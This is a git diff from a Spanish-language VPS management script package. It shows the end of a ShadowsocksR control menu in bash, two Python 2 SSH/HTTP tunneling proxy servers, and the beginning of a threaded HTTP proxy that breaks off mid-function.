+	else
+		echo -e "Actualmente es la ultima version.[ ${sh_new_ver} ] !"
+	fi
+	exit 0
+
+}
+# Mostrar el estado del menu
+menu_status(){
+msg -bar
+	if [[ -e ${ssr_folder} ]]; then
+		check_pid
+		if [[ ! -z "${PID}" ]]; then
+			echo -e "         VPS-MX By @Kalix1\n Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} y ${Green_font_prefix}Iniciado${Font_color_suffix}"
+		else
+			echo -e " Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} pero ${Red_font_prefix}no comenzo${Font_color_suffix}"
+		fi
+		cd "${ssr_folder}"
+	else
+		echo -e " Estado actual: ${Red_font_prefix}No Instalado${Font_color_suffix}"
+	fi
+}
+check_sys
+[[ ${release} != "debian" ]] && [[ ${release} != "ubuntu" ]] && [[ ${release} != "centos" ]] && echo -e "${Error} el script no es compatible con el sistema actual ${release} !" && exit 1
+action=$1
+if [[ "${action}" == "clearall" ]]; then
+	Clear_transfer_all
+elif [[ "${action}" == "monitor" ]]; then
+	crontab_monitor_ssr
+else
+
+echo -e "$(msg -tit) " 
+echo -e "        Controlador de ShadowSock-R  ${Red_font_prefix}[v${sh_ver}]${Font_color_suffix}
+$(msg -bar)
+  ${Green_font_prefix}1.${Font_color_suffix} Instalar ShadowsocksR 
+  ${Green_font_prefix}2.${Font_color_suffix} Actualizar ShadowsocksR
+  ${Green_font_prefix}3.${Font_color_suffix} Desinstalar ShadowsocksR
+  ${Green_font_prefix}4.${Font_color_suffix} Instalar libsodium (chacha20)
+—————————————
+  ${Green_font_prefix}5.${Font_color_suffix} Verifique la informacion de la cuenta
+  ${Green_font_prefix}6.${Font_color_suffix} Mostrar la informacion de conexion 
+  ${Green_font_prefix}7.${Font_color_suffix} Agregar/Modificar/Eliminar la configuracion del usuario  
+  ${Green_font_prefix}8.${Font_color_suffix} Modificar manualmente la configuracion del usuario
+  ${Green_font_prefix}9.${Font_color_suffix} Borrar el trafico usado  
+——————————————
+ ${Green_font_prefix}10.${Font_color_suffix} Iniciar ShadowsocksR
+ ${Green_font_prefix}11.${Font_color_suffix} Detener ShadowsocksR
+ ${Green_font_prefix}12.${Font_color_suffix} Reiniciar ShadowsocksR
+ ${Green_font_prefix}13.${Font_color_suffix} Verificar Registro de ShadowsocksR
+—————————————
+ ${Green_font_prefix}14.${Font_color_suffix} Otras Funciones
+ ${Green_font_prefix}15.${Font_color_suffix} Actualizar Script 
+$(msg -bar)
+ ${Green_font_prefix}16.${Font_color_suffix}${Red_font_prefix} SALIR"
+	
+	menu_status
+	msg -bar
+    stty erase '^H' && read -p "Porfavor seleccione una opcion [1-16]:" num
+	msg -bar
+case "$num" in
+	1)
+	Install_SSR
+	;;
+	2)
+	Update_SSR
+	;;
+	3)
+	Uninstall_SSR
+	;;
+	4)
+	Install_Libsodium
+	;;
+	5)
+	View_User
+	;;
+	6)
+	View_user_connection_info
+	;;
+	7)
+	Modify_Config
+	;;
+	8)
+	Manually_Modify_Config
+	;;
+	9)
+	Clear_transfer
+	;;
+	10)
+	Start_SSR
+	;;
+	11)
+	Stop_SSR
+	;;
+	12)
+	Restart_SSR
+	;;
+	13)
+	View_Log
+	;;
+	14)
+	Other_functions
+	;;
+	15)
+	Update_Shell
+	;;
+     16)
+     exit 1
+      ;;
+	*)
+	echo -e "${Error} Porfavor use numeros del [1-16]"
+	msg -bar
+	;;
+esac
+fi

+ 267 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/PDirect.py

@@ -0,0 +1,267 @@
+import socket, threading, thread, select, signal, sys, time, getopt
+
+# Listen
+LISTENING_ADDR = '0.0.0.0'
+if sys.argv[1:]:
+  LISTENING_PORT = sys.argv[1]
+else:
+  LISTENING_PORT = 80  
+#Pass
+PASS = ''
+
+# CONST
+BUFLEN = 4096 * 4
+TIMEOUT = 60
+DEFAULT_HOST = '127.0.0.1:22'
+RESPONSE = 'HTTP/1.1 200 <strong>(<span style="color: #ff0000;"><strong><span style="color: #ff9900;">By</span>-<span style="color: #008000;">VPS</span>-MEX</strong></span>)</strong>\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 conexion exitosa\r\n\r\n'
+#RESPONSE = 'HTTP/1.1 200 Hello_World!\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 Connection established\r\n\r\n'  # lint:ok
+
+class Server(threading.Thread):
+    def __init__(self, host, port):
+        threading.Thread.__init__(self)
+        self.running = False
+        self.host = host
+        self.port = port
+        self.threads = []
+        self.threadsLock = threading.Lock()
+        self.logLock = threading.Lock()
+
+    def run(self):
+        self.soc = socket.socket(socket.AF_INET)
+        self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self.soc.settimeout(2)
+        intport = int(self.port)
+        self.soc.bind((self.host, intport))
+        self.soc.listen(0)
+        self.running = True
+
+        try:
+            while self.running:
+                try:
+                    c, addr = self.soc.accept()
+                    c.setblocking(1)
+                except socket.timeout:
+                    continue
+
+                conn = ConnectionHandler(c, self, addr)
+                conn.start()
+                self.addConn(conn)
+        finally:
+            self.running = False
+            self.soc.close()
+
+    def printLog(self, log):
+        self.logLock.acquire()
+        print log
+        self.logLock.release()
+
+    def addConn(self, conn):
+        try:
+            self.threadsLock.acquire()
+            if self.running:
+                self.threads.append(conn)
+        finally:
+            self.threadsLock.release()
+
+    def removeConn(self, conn):
+        try:
+            self.threadsLock.acquire()
+            self.threads.remove(conn)
+        finally:
+            self.threadsLock.release()
+
+    def close(self):
+        try:
+            self.running = False
+            self.threadsLock.acquire()
+
+            threads = list(self.threads)
+            for c in threads:
+                c.close()
+        finally:
+            self.threadsLock.release()
+
+
+class ConnectionHandler(threading.Thread):
+    def __init__(self, socClient, server, addr):
+        threading.Thread.__init__(self)
+        self.clientClosed = False
+        self.targetClosed = True
+        self.client = socClient
+        self.client_buffer = ''
+        self.server = server
+        self.log = 'Connection: ' + str(addr)
+
+    def close(self):
+        try:
+            if not self.clientClosed:
+                self.client.shutdown(socket.SHUT_RDWR)
+                self.client.close()
+        except:
+            pass
+        finally:
+            self.clientClosed = True
+
+        try:
+            if not self.targetClosed:
+                self.target.shutdown(socket.SHUT_RDWR)
+                self.target.close()
+        except:
+            pass
+        finally:
+            self.targetClosed = True
+
+    def run(self):
+        try:
+            self.client_buffer = self.client.recv(BUFLEN)
+
+            hostPort = self.findHeader(self.client_buffer, 'X-Real-Host')
+
+            if hostPort == '':
+                hostPort = DEFAULT_HOST
+
+            split = self.findHeader(self.client_buffer, 'X-Split')
+
+            if split != '':
+                self.client.recv(BUFLEN)
+
+            if hostPort != '':
+                passwd = self.findHeader(self.client_buffer, 'X-Pass')
+				
+                if len(PASS) != 0 and passwd == PASS:
+                    self.method_CONNECT(hostPort)
+                elif len(PASS) != 0 and passwd != PASS:
+                    self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n')
+                elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'):
+                    self.method_CONNECT(hostPort)
+                else:
+                    self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n')
+            else:
+                print '- No X-Real-Host!'
+                self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n')
+
+        except Exception as e:
+            self.log += ' - error: ' + e.strerror
+            self.server.printLog(self.log)
+	    pass
+        finally:
+            self.close()
+            self.server.removeConn(self)
+
+    def findHeader(self, head, header):
+        aux = head.find(header + ': ')
+
+        if aux == -1:
+            return ''
+
+        aux = head.find(':', aux)
+        head = head[aux+2:]
+        aux = head.find('\r\n')
+
+        if aux == -1:
+            return ''
+
+        return head[:aux];
+
+    def connect_target(self, host):
+        i = host.find(':')
+        if i != -1:
+            port = int(host[i+1:])
+            host = host[:i]
+        else:
+            if self.method=='CONNECT':
+                port = 22
+            else:
+                port = sys.argv[1]
+
+        (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0]
+
+        self.target = socket.socket(soc_family, soc_type, proto)
+        self.targetClosed = False
+        self.target.connect(address)
+
+    def method_CONNECT(self, path):
+        self.log += ' - CONNECT ' + path
+
+        self.connect_target(path)
+        self.client.sendall(RESPONSE)
+        self.client_buffer = ''
+
+        self.server.printLog(self.log)
+        self.doCONNECT()
+
+    def doCONNECT(self):
+        socs = [self.client, self.target]
+        count = 0
+        error = False
+        while True:
+            count += 1
+            (recv, _, err) = select.select(socs, [], socs, 3)
+            if err:
+                error = True
+            if recv:
+                for in_ in recv:
+		    try:
+                        data = in_.recv(BUFLEN)
+                        if data:
+			    if in_ is self.target:
+				self.client.send(data)
+                            else:
+                                while data:
+                                    byte = self.target.send(data)
+                                    data = data[byte:]
+
+                            count = 0
+			else:
+			    break
+		    except:
+                        error = True
+                        break
+            if count == TIMEOUT:
+                error = True
+            if error:
+                break
+
+
+def print_usage():
+    print 'Usage: proxy.py -p <port>'
+    print '       proxy.py -b <bindAddr> -p <port>'
+    print '       proxy.py -b 0.0.0.0 -p 80'
+
+def parse_args(argv):
+    global LISTENING_ADDR
+    global LISTENING_PORT
+    
+    try:
+        opts, args = getopt.getopt(argv,"hb:p:",["bind=","port="])
+    except getopt.GetoptError:
+        print_usage()
+        sys.exit(2)
+    for opt, arg in opts:
+        if opt == '-h':
+            print_usage()
+            sys.exit()
+        elif opt in ("-b", "--bind"):
+            LISTENING_ADDR = arg
+        elif opt in ("-p", "--port"):
+            LISTENING_PORT = int(arg)
+
+
+def main(host=LISTENING_ADDR, port=LISTENING_PORT):
+    print "\n:-------PythonProxy-------:\n"
+    print "Listening addr: " + LISTENING_ADDR
+    print "Listening port: " + str(LISTENING_PORT) + "\n"
+    print ":-------------------------:\n"
+    server = Server(LISTENING_ADDR, LISTENING_PORT)
+    server.start()
+    while True:
+        try:
+            time.sleep(2)
+        except KeyboardInterrupt:
+            print 'Stopping...'
+            server.close()
+            break
+
+#######    parse_args(sys.argv[1:])
+if __name__ == '__main__':
+    main()

+ 682 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/PGet.py

@@ -0,0 +1,682 @@
+import sys, time, getopt, socket, threading, base64
+
+
+# CONFIG
+CONFIG_LISTENING = '0.0.0.0:8799'
+CONFIG_PASS = 'pwd.pwd'
+
+
+class Logger:
+
+    logLock = threading.Lock()
+    LOG_INFO = 1
+    LOG_WARN = 2
+    LOG_ERROR = 3
+
+    def printWarn(self, log):
+        self.log(log)
+
+    def printInfo(self, log):
+        self.log(log)
+
+    def printError(self, log):
+        self.log(log)
+
+    def printLog(self, log, logLevel):
+        if logLevel == Logger.LOG_INFO:
+            self.printInfo('<-> ' + log)
+        elif logLevel == Logger.LOG_WARN:
+            self.printWarn('<!> ' + log)
+        elif logLevel == Logger.LOG_ERROR:
+            self.printError('<#> ' + log)
+
+    def log(self, log):
+        with Logger.logLock:
+            print log
+
+		
+
+class PasswordSet:
+    FILE_EXEMPLE = 'master=passwd123\n127.0.0.1:22=pwd321;321pawd\n1.23.45.67:443=pass123'
+
+    def __init__(self, masterKey=None):
+        self.masterKey = masterKey
+
+    def parseFile(self, fileName):
+        isValid = False
+
+        with open(fileName) as f:
+            content = f.readlines()
+
+        content = [x.strip() for x in content]
+        content = [item for item in content if not str(item).startswith('#')]
+
+        if len(content) > 0:
+            masterKey = content[0]
+
+            if self.splitParam(masterKey, '=') is not None and masterKey.startswith('master'):
+                self.masterKey = self.splitParam(masterKey, '=')[1]
+
+            isValid = True
+            self.map = dict()
+
+            for i, v in enumerate(content[1:]):
+                hostAndPass = self.splitParam(v, '=')
+
+                if hostAndPass is not None:
+                    self.map[hostAndPass[0]] = hostAndPass[1].split(';')
+
+        return isValid
+
+    def isValidKey(self, key, target):
+        valid = False
+
+        if not self.masterKey == key:
+            if hasattr(self, 'map'):
+                if self.map.has_key(target):
+                    valid = key in self.map[target]
+        else:
+            valid = True
+
+        return valid
+
+
+    def splitParam(self, param, c):
+        index = param.find(c)
+
+        ret = None
+
+        if index != -1:
+            ret = []
+            ret.append(param[0:index])
+            ret.append(param[index+1:])
+
+        return ret
+
+
+
+
+class ClientRequest:
+    MAX_LEN_CLIENT_REQUEST = 1024 * 100
+    HEADER_CONTENT_LENGTH = 'Content-Length'
+    HEADER_ACTION = 'X-Action'
+    ACTION_CLOSE = 'close'
+    ACTION_DATA = 'data'
+
+    def __init__(self, socket):
+        self.socket = socket
+        self.readConent = False
+
+    def parse(self):
+        line = ''
+        count = 0
+        self.isValid = False
+        self.data = None
+        self.contentLength = None
+        self.action = None
+
+        while line != '\r\n' and count < ClientRequest.MAX_LEN_CLIENT_REQUEST:
+            line = self.readHttpLine()
+
+            if line is None:
+                break
+
+            if line.startswith(ClientRequest.HEADER_ACTION):
+                self.action = self.getHeaderVal(line)
+
+                if not self.action is None:
+                    if self.action == ClientRequest.ACTION_CLOSE or self.action == ClientRequest.ACTION_DATA:
+                        self.isValid = True
+
+            count += len(line)
+
+        if self.readConent:
+            if self.contentLength > 0 and self.contentLength < ClientRequest.MAX_LEN_CLIENT_REQUEST:
+                self.data = self.readFully(self.contentLength)
+
+        return self.isValid
+
+    def readHttpLine(self):
+        line = ''
+        count = 0
+        socket = self.socket
+
+        b = socket.recv(1)
+
+        if not b:
+            return None
+
+        while count < ClientRequest.MAX_LEN_CLIENT_REQUEST:
+            count += 1
+            line += b
+
+            if b == '\r':
+                b = socket.recv(1)
+                count += 1
+
+                if not b:
+                    break
+
+                line += b
+
+                if b == '\n':
+                    break
+
+            b = socket.recv(1)
+
+            if not b:
+                break
+
+        if not b:
+            return None
+
+        return line
+
+    def getHeaderVal(self, header):
+        ini = header.find(':')
+
+        if ini == -1:
+            return None
+
+        ini += 2
+
+        fim = header.find('\r\n')
+
+        if fim == -1:
+            header = header[ini:]
+
+        return header[ini:fim]
+
+    def readFully(self, n):
+        count = 0
+        data = ''
+
+        while count < n:
+            packet = self.socket.recv(n - count)
+
+            if not packet:
+                break
+
+            count += len(packet)
+            data += packet
+
+
+
+
+class Client(threading.Thread):
+    ACTION_DATA = 'data'
+    BUFFER_SIZE = 4096
+
+    def __init__(self, id, readSocket, target):
+        super(Client, self).__init__()
+        self.targetHostPort = target
+        self.id = id
+        self.readSocket = readSocket
+        self.logger = Logger()
+        self.isStopped = False
+        self.onCloseFunction = None
+        self.closeLock = threading.Lock()
+        self.threadEndCount = 0
+        self.writeSocket = None
+
+    def connectTarget(self):
+        aux = self.targetHostPort.find(':')
+
+        host = self.targetHostPort[:aux]
+        port = int(self.targetHostPort[aux + 1:])
+
+        self.target = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.target.connect((host, port))
+
+    def run(self):
+        try:
+            self.connectTarget()
+
+            request = ClientRequest(self.readSocket)
+            request.readConent = False
+
+            if not request.parse() or not Client.ACTION_DATA == request.action:
+                raise Exception('client sends invalid request')
+
+            threadRead = ThreadRelay(self.readSocket, self.target, self.finallyClose)
+            threadRead.logFunction = self.log
+            threadRead.start()
+
+            threadWrite = ThreadRelay(self.target, self.writeSocket, self.finallyClose)
+            threadWrite.logFunction = self.log
+            threadWrite.start()
+        except Exception as e:
+            self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR)
+            self.close()
+
+    def finallyClose(self):
+        with self.closeLock:
+            self.threadEndCount += 1
+
+            if self.threadEndCount == 2:
+                self.close()
+
+    def close(self):
+        if not self.isStopped:
+            self.isStopped = True
+
+            if hasattr(self, 'target'):
+                try:
+                    self.target.close()
+                except:
+                    pass
+
+            if hasattr(self, 'writeSocket'):
+                try:
+                    self.writeSocket.close()
+                except:
+                    pass
+
+            if hasattr(self, 'readSocket'):
+                try:
+                    self.readSocket.close()
+                except:
+                    pass
+
+            self.onClose()
+            self.log('closed', Logger.LOG_INFO)
+
+    def onClose(self):
+        if not self.onCloseFunction is None:
+            self.onCloseFunction(self)
+
+    def log(self, msg, logLevel):
+        msg = 'Client ' + str(self.id) + ': ' + msg
+        self.logger.printLog(msg, logLevel)
+
+
+class ThreadRelay(threading.Thread):
+    def __init__(self, readSocket, writeSocket, closeFunction=None):
+        super(ThreadRelay, self).__init__()
+        self.readSocket = readSocket
+        self.writeSocket = writeSocket
+        self.logFunction = None
+        self.closeFuntion = closeFunction
+
+    def run(self):
+        try:
+            while True:
+                data = self.readSocket.recv(Client.BUFFER_SIZE)
+                if not data:
+                    break
+                self.writeSocket.sendall(data)
+
+            self.writeSocket.shutdown(socket.SHUT_WR)
+        except Exception as e:
+            if not self.logFunction is None:
+                self.logFunction('threadRelay error: ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR)
+        finally:
+            if not self.closeFuntion is None:
+                self.closeFuntion()
+
+
+
+
+class AcceptClient(threading.Thread):
+    MAX_QTD_BYTES = 5000
+    HEADER_BODY = 'X-Body'
+    HEADER_ACTION = 'X-Action'
+    HEADER_TARGET = 'X-Target'
+    HEADER_PASS = 'X-Pass'
+    HEADER_ID = 'X-Id'
+    ACTION_CREATE = 'create'
+    ACTION_COMPLETE = 'complete'
+    MSG_CONNECTION_CREATED = 'Created'
+    MSG_CONNECTION_COMPLETED = 'Completed'
+
+    ID_COUNT = 0
+    ID_LOCK = threading.Lock()
+
+    def __init__(self, socket, server, passwdSet=None):
+        super(AcceptClient, self).__init__()
+        self.server = server
+        self.passwdSet = passwdSet
+        self.socket = socket
+
+    def run(self):
+        needClose = True
+
+        try:
+            head = self.readHttpRequest()
+
+            bodyLen = self.getHeaderVal(head, AcceptClient.HEADER_BODY)
+            if not bodyLen is None:
+                try:
+                    self.readFully(int(bodyLen))
+                except ValueError:
+                    pass
+
+            action = self.getHeaderVal(head, AcceptClient.HEADER_ACTION)
+
+            if action is None:
+                self.log('client sends no action header', Logger.LOG_WARN)
+                self.socket.sendall('HTTP/1.1 400 NoActionHeader!\r\nServer: GetTunnelServer\r\n\r\n')
+                return
+
+            if action == AcceptClient.ACTION_CREATE:
+                target = self.getHeaderVal(head, AcceptClient.HEADER_TARGET)
+
+                if not self.passwdSet is None:
+                    passwd = self.getHeaderVal(head, AcceptClient.HEADER_PASS)
+
+                    try:
+                        passwd = base64.b64decode(passwd)
+                    except:
+                        passwd = None
+                        pass
+
+                    if passwd is None or not self.passwdSet.isValidKey(passwd, target):
+                        self.log('client sends wrong key', Logger.LOG_WARN)
+                        self.socket.sendall('HTTP/1.1 403 Forbidden\r\nServer: GetTunnelServer\r\n\r\n')
+                        return
+
+                if target is not None and self.isValidHostPort(target):
+                    id = self.generateId()
+
+                    client = Client(id, self.socket, target)
+                    client.onCloseFunction = self.server.removeClient
+                    self.server.addClient(client)
+                    self.socket.sendall('HTTP/1.1 200 '+ AcceptClient.MSG_CONNECTION_CREATED + '\r\nServer: GetTunnelServer\r\nX-Id: ' + str(id) + '\r\nContent-Type: text/plain\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n')
+                    self.log('connection created - ' + str(id), Logger.LOG_INFO)
+                    needClose = False
+                else:
+                    self.log('client sends no valid target', Logger.LOG_WARN)
+                    self.socket.sendall('HTTP/1.1 400 Target!\r\nServer: GetTunnelServer\r\n\r\n')
+
+            elif action == AcceptClient.ACTION_COMPLETE:
+                id = self.getHeaderVal(head, AcceptClient.HEADER_ID)
+
+                if not id is None:
+                    client = self.server.getClient(id)
+
+                    if not client is None:
+                        client.writeSocket = self.socket
+
+                        self.log('connection completed - ' + str(id), Logger.LOG_INFO)
+                        self.socket.sendall('HTTP/1.1 200 ' + AcceptClient.MSG_CONNECTION_COMPLETED + '\r\nServer: GetTunnelServer\r\nConnection: Keep-Alive\r\n\r\n')
+
+                        client.start()
+                        needClose = False
+                    else:
+                        self.log('client try to complete non existing connection', Logger.LOG_WARN)
+                        self.socket.sendall('HTTP/1.1 400 CreateFirst!\r\nServer: GetTunnelServer\r\n\r\n')
+                else:
+                    self.log('client sends no id header', Logger.LOG_WARN)
+                    self.socket.sendall('HTTP/1.1 400 NoID!\r\nServer: GetTunnelServer\r\n\r\n')
+            else:
+                self.log('client sends invalid action', Logger.LOG_WARN)
+                self.socket.sendall('HTTP/1.1 400 InvalidAction!\r\nServer: GetTunnelServer\r\n\r\n')
+
+        except Exception as e:
+            self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR)
+        finally:
+            if needClose:
+                try:
+                    self.socket.close()
+                except:
+                    pass
+
+    def log(self, msg, logLevel):
+        self.server.log(msg, logLevel)
+
+    def readHttpRequest(self):
+        request = ''
+        linha = ''
+        count = 0
+
+        while linha != '\r\n' and count < AcceptClient.MAX_QTD_BYTES:
+            linha = self.readHttpLine()
+
+            if linha is None:
+                break
+
+            request += linha
+            count += len(linha)
+
+        return request
+
+    def readHttpLine(self):
+        line = ''
+        count = 0
+        socket = self.socket
+
+        b = socket.recv(1)
+
+        if not b:
+            return None
+
+        while count < AcceptClient.MAX_QTD_BYTES:
+            count += 1
+            line += b
+
+            if b == '\r':
+                b = socket.recv(1)
+                count += 1
+
+                if not b:
+                    break
+
+                line += b
+
+                if b == '\n':
+                    break
+
+            b = socket.recv(1)
+
+            if not b:
+                break
+
+        if not b:
+            return None
+
+        return line
+
+    def getHeaderVal(self, head, header):
+        if not head.startswith('\r\n'):
+            header = '\r\n' + header
+
+        if not header.endswith(': '):
+            header = header + ': '
+
+        ini = head.find(header)
+
+        if ini == -1:
+            return None
+
+        end = head.find('\r\n', ini+2)
+
+        ini += len(header)
+
+        if end == -1 or ini > end or ini >= len(head):
+            return None
+
+        return head[ini:end]
+
+    def readFully(self, n):
+        count = 0
+
+        while count < n:
+            packet = self.socket.recv(n - count)
+
+            if not packet:
+                break
+
+            count += len(packet)
+
+    def isValidHostPort(self, hostPort):
+        aux = hostPort.find(':')
+
+        if aux == -1 or aux >= len(hostPort) -1:
+            return False
+
+        try:
+            int(hostPort[aux+1:])
+            return True
+        except ValueError:
+            return False
+
+    def generateId(self):
+        with AcceptClient.ID_LOCK:
+            AcceptClient.ID_COUNT += 1
+            return AcceptClient.ID_COUNT
+
+
+
+class Server(threading.Thread):
+
+    def __init__(self, listening, passwdSet=None):
+        super(Server, self).__init__()
+        self.listening = listening
+        self.passwdSet = passwdSet
+        self.running = False
+        self.logger = Logger()
+        self.isStopped = False
+        self.clientsLock = threading.Lock()
+        self.clients = []
+
+    def run(self):
+        try:
+            self.soc = socket.socket(socket.AF_INET)
+            self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+            self.soc.settimeout(2)
+            self.soc.bind((self.listening[:self.listening.find(':')], int(self.listening[self.listening.find(':') + 1:])))
+            self.soc.listen(0)
+
+            self.log('running on ' + self.listening, Logger.LOG_INFO)
+
+            self.running = True
+            while self.running:
+                try:
+                    c, addr = self.soc.accept()
+                    c.setblocking(1)
+
+                    self.log('opennig connection - ' + str(addr), Logger.LOG_INFO)
+                    self.acceptClient(c)
+                except socket.timeout:
+                    continue
+        except Exception as e:
+            self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR)
+        finally:
+            self.running = False
+            self.close()
+
+    def acceptClient(self, socket):
+        accept = AcceptClient(socket, self, self.passwdSet)
+        accept.start()
+
+    def addClient(self, client):
+        with self.clientsLock:
+            self.clients.append(client)
+
+    def removeClient(self, client):
+        with self.clientsLock:
+            self.clients.remove(client)
+
+    def getClient(self, id):
+        client = None
+        with self.clientsLock:
+            for c in self.clients:
+                if str(c.id) == str(id):
+                    client = c
+                    break
+        return client
+
+    def close(self):
+        if not self.isStopped:
+            self.isStopped = True
+
+            if hasattr(self, 'soc'):
+                try:
+                    self.soc.close()
+                except:
+                    pass
+
+            with self.clientsLock:
+                clientsCopy = self.clients[:]
+
+            for c in clientsCopy:
+                c.close()
+
+            self.log('closed', Logger.LOG_INFO)
+
+    def log(self, msg, logLevel):
+        msg = 'Server: ' + msg
+        self.logger.printLog(msg, logLevel)
+
+
+
+
+def print_usage():
+    print '\nUsage  : python get.py -b listening -p pass'
+    print 'Ex.    : python get.py -b 0.0.0.0:80 -p pass123'
+    print '       : python get.py -b 0.0.0.0:80 -p passFile.pwd\n'
+    print '___Password file ex.:___'
+    print PasswordSet.FILE_EXEMPLE
+
+def parse_args(argv):
+    global CONFIG_LISTENING
+    global CONFIG_PASS
+
+    try:
+        opts, args = getopt.getopt(argv, "hb:p:", ["bind=", "pass="])
+    except getopt.GetoptError:
+        print_usage()
+        sys.exit(2)
+    for opt, arg in opts:
+        if opt == '-h':
+            print_usage()
+            sys.exit()
+        elif opt in ('-b', '--bind'):
+            CONFIG_LISTENING = arg
+        elif opt in ('-p', '--pass'):
+            CONFIG_PASS = arg
+
+def main():
+    print '\n-->GetTunnelPy - Server v.' + '25/06/2017' + '\n'
+    print '-->Listening: ' + CONFIG_LISTENING
+
+    pwdSet = None
+
+    if not CONFIG_PASS is None:
+        if CONFIG_PASS.endswith('.pwd'):
+            pwdSet = PasswordSet()
+
+            try:
+                isValidFile = pwdSet.parseFile(CONFIG_PASS)
+            except IOError as e:
+                print '--#Error reading file: ' + str(type(e)) + ' - ' + str(e)
+                sys.exit()
+
+            if not isValidFile:
+                print '--#Error on parsing file!\n'
+                print_usage()
+                return
+
+            print '-->Pass file: ' + CONFIG_PASS + '\n'
+        else:
+            if (len(CONFIG_PASS) > 0):
+                print '-->Pass     : yes\n'
+                pwdSet = PasswordSet(CONFIG_PASS)
+            else:
+                print '-->Pass     : no\n'
+
+    server = Server(CONFIG_LISTENING)
+    server.passwdSet = pwdSet
+    server.start()
+
+    while True:
+        try:
+            time.sleep(2)
+        except KeyboardInterrupt:
+            print '<-> Stopping server...'
+            server.running = False
+            break
+
+if __name__ == '__main__':
+    parse_args(sys.argv[1:])
+    main()

+ 313 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/POpen.py

@@ -0,0 +1,313 @@
+#!/usr/bin/env python
+
+import sys
+import httplib
+from SocketServer import ThreadingMixIn
+from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
+from threading import Lock, Timer
+from cStringIO import StringIO
+from urlparse import urlsplit
+import socket
+import select
+import gzip
+import zlib
+import re
+import traceback
+
+
+class ThreadingHTTPServer(ThreadingMixIn, HTTPServer):
+
+    address_family = socket.AF_INET
+
+    def handle_error(self, request, client_address):
+        
+        print >>sys.stderr, '-'*40
+        print >>sys.stderr, 'Exception happened during processing of request from', client_address
+        traceback.print_exc()
+        print >>sys.stderr, '-'*40
+        
+     
+class ThreadingHTTPServer6(ThreadingHTTPServer):
+
+    address_family = socket.AF_INET6
+
+
+class SimpleHTTPProxyHandler(BaseHTTPRequestHandler):
+    global_lock = Lock()
+    conn_table = {}
+    timeout = 300               
+    upstream_timeout = 300    
+    proxy_via = None          
+
+    def log_error(self, format, *args):
+        if format == "Request timed out: %r":
+            return
+        self.log_message(format, *args)
+
+    def do_CONNECT(self):
+        
+
+        req = self
+        reqbody = None
+        req.path = "https://%s/" % req.path.replace(':443', '')
+
+        replaced_reqbody = self.request_handler(req, reqbody)
+        if replaced_reqbody is True:
+            return
+
+        u = urlsplit(req.path)
+        address = (u.hostname, u.port or 443)
+        try:
+            conn = socket.create_connection(address)
+        except socket.error:
+            return
+        self.send_response(200, 'SOCKS5')
+        self.send_header('Connection', 'close')
+        self.end_headers()
+
+        conns = [self.connection, conn]
+        keep_connection = True
+        while keep_connection:
+            keep_connection = False
+            rlist, wlist, xlist = select.select(conns, [], conns, self.timeout)
+            if xlist:
+                break
+            for r in rlist:
+                other = conns[1] if r is conns[0] else conns[0]
+                data = r.recv(8192)
+                if data:
+                    other.sendall(data)
+                    keep_connection = True
+        conn.close()
+
+    def do_HEAD(self):
+        self.do_SPAM()
+
+    def do_GET(self):
+        self.do_SPAM()
+
+    def do_POST(self):
+        self.do_SPAM()
+
+    def do_SPAM(self):
+        req = self
+        content_length = int(req.headers.get('Content-Length', 0))
+        if content_length > 0:
+            reqbody = self.rfile.read(content_length)
+        else:
+            reqbody = None
+
+        replaced_reqbody = self.request_handler(req, reqbody)
+        if replaced_reqbody is True:
+            return
+        elif replaced_reqbody is not None:
+            reqbody = replaced_reqbody
+            if 'Content-Length' in req.headers:
+                req.headers['Content-Length'] = str(len(reqbody))
+
+        
+        self.remove_hop_by_hop_headers(req.headers)
+        if self.upstream_timeout:
+            req.headers['Connection'] = 'Keep-Alive'
+        else:
+            req.headers['Connection'] = 'close'
+        if self.proxy_via:
+            self.modify_via_header(req.headers)
+
+        try:
+            res, resdata = self.request_to_upstream_server(req, reqbody)
+        except socket.error:
+            return
+
+        content_encoding = res.headers.get('Content-Encoding', 'identity')
+        resbody = self.decode_content_body(resdata, content_encoding)
+
+        replaced_resbody = self.response_handler(req, reqbody, res, resbody)
+        if replaced_resbody is True:
+            return
+        elif replaced_resbody is not None:
+            resdata = self.encode_content_body(replaced_resbody, content_encoding)
+            if 'Content-Length' in res.headers:
+                res.headers['Content-Length'] = str(len(resdata))
+            resbody = replaced_resbody
+
+        self.remove_hop_by_hop_headers(res.headers)
+        if self.timeout:
+            res.headers['Connection'] = 'Keep-Alive'
+        else:
+            res.headers['Connection'] = 'close'
+        if self.proxy_via:
+            self.modify_via_header(res.headers)
+
+        self.send_response(res.status, res.reason)
+        for k, v in res.headers.items():
+            if k == 'set-cookie':
+                
+                for value in self.split_set_cookie_header(v):
+                    self.send_header(k, value)
+            else:
+                self.send_header(k, v)
+        self.end_headers()
+
+        if self.command != 'HEAD':
+            self.wfile.write(resdata)
+            with self.global_lock:
+                self.save_handler(req, reqbody, res, resbody)
+
+    def request_to_upstream_server(self, req, reqbody):
+        u = urlsplit(req.path)
+        origin = (u.scheme, u.netloc)
+
+        
+        req.headers['Host'] = u.netloc
+        selector = "%s?%s" % (u.path, u.query) if u.query else u.path
+
+        while True:
+            with self.lock_origin(origin):
+                conn = self.open_origin(origin)
+                try:
